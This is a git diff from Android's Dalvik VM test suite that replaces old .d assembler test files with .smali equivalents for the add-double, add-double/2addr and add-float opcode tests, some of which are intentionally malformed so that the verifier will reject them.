@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_4.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.d
deleted file mode 100644
index 64b8613..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_5.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali
new file mode 100644
index 0000000..3a829fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_5.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.d
deleted file mode 100644
index 424bd3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_6.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-       move v1, v5
-       move v2, v6    
-       move v3, v6    
-       add-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali
new file mode 100644
index 0000000..4e58842
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_6.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6    
+       move v3, v6    
+       add-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.d
deleted file mode 100644
index 44d1f78..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_1.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali
new file mode 100644
index 0000000..cc26343
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d
deleted file mode 100644
index 3633e01..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_2.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       const v3, 3.1415
-       add-double/2addr v3, v5
-       return-wide v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.smali
new file mode 100644
index 0000000..859ce6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_2;
+.super Ljava/lang/Object;
+.source "T_add_double_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    add-double/2addr p1, p3
+
+    return-wide p3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.d
deleted file mode 100644
index dd559d34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_3.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 7
-
-       const-wide v2, 3.1415
-       add-double/2addr v2, v5
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali
new file mode 100644
index 0000000..9b7605d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 7
+
+       const-wide v2, 3.1415
+       add-double/2addr v2, v5
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.d
deleted file mode 100644
index a9f2625..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_4.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double/2addr v3, v2
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali
new file mode 100644
index 0000000..a496b62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v2
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.d
deleted file mode 100644
index 521f02b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_5.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali
new file mode 100644
index 0000000..5435f4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.d
deleted file mode 100644
index cd95033..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_6.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-          move v1, v5
-       move v2, v6
-          move v3, v6          
-       add-double/2addr v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali
new file mode 100644
index 0000000..19cc4ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+          move v1, v5
+       move v2, v6
+          move v3, v6          
+       add-double/2addr v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.d
deleted file mode 100644
index 502b435..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_1.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali
new file mode 100644
index 0000000..6a2b260
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_1.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.d
deleted file mode 100644
index 627036b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3.1415    
-       add-float v0, v3, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali
new file mode 100644
index 0000000..5d9e1f0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3.1415    
+       add-float v0, v3, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.d
deleted file mode 100644
index 7de8486..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_3.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3141523
-       add-float v0, v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali
new file mode 100644
index 0000000..db44515
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_3.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3141523
+       add-float v0, v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.d
deleted file mode 100644
index 443ed0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_4.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float v0, v2, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali
new file mode 100644
index 0000000..8b09cbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
